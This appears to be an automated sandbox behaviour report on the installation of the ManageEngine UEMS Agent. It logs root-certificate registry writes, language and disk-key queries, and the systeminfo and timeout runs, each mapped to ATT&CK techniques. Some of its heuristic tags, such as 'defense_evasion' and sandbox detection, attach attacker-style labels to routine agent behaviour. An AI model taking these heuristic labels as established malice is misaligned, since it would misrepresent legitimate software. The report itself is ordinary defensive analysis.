030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a372000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 190000000100000010000000abab88db3467ca42cc505b3ec615b8010f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a7140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c2000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 5c0000000100000004000000000800001900000001000000100000004d04dc5b02db0b7a193cd4936d8ccd6b0f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a37140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a36b000000010000002000000080fe6bf607a9da3e711406394cb12c8fe21caf7e56a9a1e4cec08faca9c092032000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a72000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 0f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a372000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4	dcagentregister.exe

System Location Discovery: System Language Discovery 1 TTPs 49 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UEMSAgentHealthChecker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentservice.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentservice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CRU_Reporter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcswmeter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UEMSAgentHCHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcpatchscan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UEMSAgentHCHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UEMSAgentHCHelper.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcondemand.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcmetroapps.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcinventory.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcusbsummary.exe

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	dcusb64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dcusbsummary.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dcusbsummary.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dcusbsummary.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dcusbsummary.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	dcusb64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dcusb64.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5124	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4560	systeminfo.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcondemand.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 01000000000000000fdcf266f234dd01	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcinventory.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcstatusutil.exe

Modifies registry class 33 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	dcagentservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879680"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "DBF1585436CE69C49965D1E81CE639EC"	msiexec.exe
